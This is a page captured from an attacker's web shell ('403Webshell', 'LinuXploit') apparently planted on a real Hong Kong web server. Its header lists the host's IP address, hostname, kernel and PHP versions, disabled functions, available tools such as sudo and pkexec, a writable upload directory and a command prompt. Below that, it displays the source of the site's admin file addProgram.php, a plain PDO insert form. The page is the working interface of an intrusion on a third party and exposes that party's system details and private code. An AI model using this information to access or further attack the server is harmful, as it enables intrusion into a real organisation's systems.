403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140314/System/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140314/System/addProgram.php
<!DOCTYPE html>
<html>
    <head>
        <?php require_once '../include/head.php'; ?>
        <?php require_once '../include/checkuser.php'; ?>
        <?php require_once '../include/Nav_bar.php'; ?>
        <?php include_once '../include/DBConnect.php'; ?>
        <script>
            $(function() {
                $("#shortf").keypress(function(event) {
                    var ew = event.which;
                    if (65 <= ew && ew <= 90)
                        return true;
                    return false;
                });
            });
        </script>
    </head>
    <body>
        <?php
        if (isset($_POST['addprogram'])) {
            $sort = 0;
            $program_code = $_POST['program_code'];
            $program_name = $_POST['program_name'];
            $program_shortf = $_POST['prog_short_form'];

            if (strlen($program_shortf) < 2) {
                
                echo "<script>alert('program short form must be 2 char')</script>";
                
            } else {

                $searchsort = "select max(sort) as sort from program where deleted = 0";
                $result = $dbh->query($searchsort);
                $result->setFetchMode(PDO::FETCH_OBJ);
                while ($row = $result->fetch()) {
                    $sort = $row->sort + 1;
                }

                $sth = $dbh->prepare("INSERT INTO `program`(`createby`, `createdate`, `lastupby`, `lastupdate`, `actived`, `deleted`, `sort`, `program_code`, `program_name`, `prog_short_form`) VALUES (1,now(),1,now(),1,0,?,?,?,?)");
                $sth->bindParam(1, $sort);
                $sth->bindParam(2, $program_code);
                $sth->bindParam(3, $program_name);
                $sth->bindParam(4, $program_shortf);
                $sth->execute();

                echo "<script>alert('Insert data successful.')</script>";
                echo("<script>location.href ='Program.php';</script>");
            }
        }
        ?>
        <!-- line between nav bar and content -->
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active">Add Program</li>
            </ul>
        </div>

        <div class="container-fluid pathways-container">
            <div>
                <table border="0" width="100%">
                    <tr>
                        <td><h2>Add Program</h2></td>
                    </tr>
                </table>
            </div>
            <form action="" method="POST" enctype="multipart/form-data" id="form">
                <table border="0" class="table table-bordered table-hover table-condensed">
                    <tr>
                        <td width="20%">
                            Program code
                        </td>
                        <td>
                            <input type="text" width="200px" name="program_code" required>
                        </td>
                    </tr>
                    <tr>
                        <td width="20%">
                            Program name
                        </td>
                        <td>
                            <input type="text" width="200px" name="program_name" required>
                        </td>
                    </tr>
                    <tr>
                        <td width="20%">
                            Program short form
                        </td>
                        <td>
                            <input maxlength="2" style="text-transform: uppercase" type="text" width="200px" name="prog_short_form" id="shortf" required>
                        </td>
                    </tr>
                </table>
                <div class="input-append date-picker">
                    <button class="btn" name="addprogram" value="addprogram" style="margin-left:30px" type="submit">ADD</button>
                </div>
            </form>
        </div> <!-- /container -->
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit